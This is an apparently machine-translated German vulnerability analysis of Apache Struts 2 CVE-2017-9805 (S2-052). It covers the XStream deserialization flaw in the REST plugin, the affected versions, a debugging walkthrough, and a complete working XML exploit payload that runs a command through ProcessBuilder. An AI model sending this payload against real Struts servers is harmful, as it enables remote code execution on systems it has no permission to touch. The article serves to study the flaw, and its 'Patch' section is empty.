Am 5. September 2017 wurde eine schwerwiegende Schwachstelle, die von Sicherheitsforschern der ausländischen Sicherheitsforschungsorganisation lgtm.com entdeckt wurde, offiziell in Apache Struts 2 veröffentlicht. Die Schwachstellennummer lautete CVE-2017-9805 (S2-052). Angreifer Sorgfältig erstellte XML-Daten können zur Remote-Befehlsausführung übergeben werden.
Die XStream-Komponente des Struts2-REST-Plug-Ins weist eine Deserialisierungsschwachstelle auf. Bei Verwendung der XStream-Komponente zur Deserialisierung von Datenpaketen im XML-Format wird der Dateninhalt nicht effektiv überprüft, was ein Sicherheitsrisiko darstellt und durch Remote-Befehle ausgeführt werden kann.
Exploit-Bedingungen: Verwendung des REST-Plugins und innerhalb des betroffenen Versionsbereichs.
Ausnutzung: Der Angreifer erstellt bösartige Datenpakete zur Remote-Ausnutzung.
Betroffene Versionen: Struts 2.1.2 – Struts 2.3.33, Struts 2.5 – Struts 2.5.12
1) Laden Sie den offiziellen Quellcode herunter:
git clone https://github.com/apache/Struts .git
2) Wechseln Sie zum 2.5.12-Zweig:
git checkout STRUTS_2_5_12
3) Kopieren Sie den gesamten Ordner src/apps/rest-showcase im Quellpaket und erstellen Sie ein neues Projekt
4) Verwenden Sie IDEA oder Eclipse, um das zu importieren Maven-Projekt
5 ) Nach der Ausführung im Debug-Modus können Sie problemlos debuggen
Laut der offiziellen Ankündigung wissen wir, dass die Schwachstelle in der XstreamHandler-Klasse im struts2-rest-plugin-2.5 auftritt .12.jar-Paket.
Schauen Sie sich diese Klasse an. In dieser Klasse gibt es eine toObject-Methode, deren Funktion darin besteht, den XML-Inhalt zu deserialisieren.
Legen Sie in dieser Methode zunächst einen Haltepunkt fest und erstellen Sie dann das Datenpaket.
Nachdem das Datenpaket gesendet wurde, springt es zum Haltepunkt. Zu diesem Zeitpunkt können Sie sehen, dass der ContentTypeInterceptor im oberen Aufrufstapel aufgerufen wurde Diese Methode
Die Intercept-Methode in der ContentTypeInterceptor-Klasse generiert ein entsprechendes Objekt basierend auf dem Wert des übergebenen Content-Type. Da wir application/xml übergeben, wird entsprechend ein XML-Verarbeitungsobjekt XStreamHandler generiert.
Fahren Sie mit f5 fort und sehen Sie sich die Funktion unmarshal an, die die Deserialisierung durchführt, wenn diese Funktion ausgeführt wird, was zur Ausführung eines Remote-Befehls führt.
Dann geben Sie die Unmarshal-Funktion ein und fahren mit dem Debuggen fort. Der AbstractReflectionConverter analysiert Schritt für Schritt die von uns übermittelten XML-Tags und -Werte und ruft schließlich den Code im POC auf.
fangen Sie die HTTP-Anfrage ab, ändern Sie den Anforderungstext in „POC Payload“ und ändern Sie den Content-Type-Header in „application/xml“. . Die Nutzlast ist:
<map> <entry> <jdk.nashorn.internal.objects.nativestring> <flags>0</flags> <value> <datahandler> <datasource> <is> <cipher> <initialized>false</initialized> <opmode>0</opmode> <serviceiterator> <iter> <iter></iter> <next> <command> <string>/Applications/Calculator.app/Contents/MacOS/Calculator</string> </command> <redirecterrorstream>false</redirecterrorstream> </next> </iter> <filter> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types></parameter-types> </method> <name>foo</name> </filter> <next>foo</next> </serviceiterator> <lock></lock> </cipher> <input> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </datasource> <transferflavors></transferflavors> </datahandler> <datalen>0</datalen> </value> </jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> <entry> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> <jdk.nashorn.internal.objects.nativestring></jdk.nashorn.internal.objects.nativestring> </entry> </map>
Patch
Das obige ist der detaillierte Inhalt vonBeispielanalyse der Schwachstelle Struts2-052. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!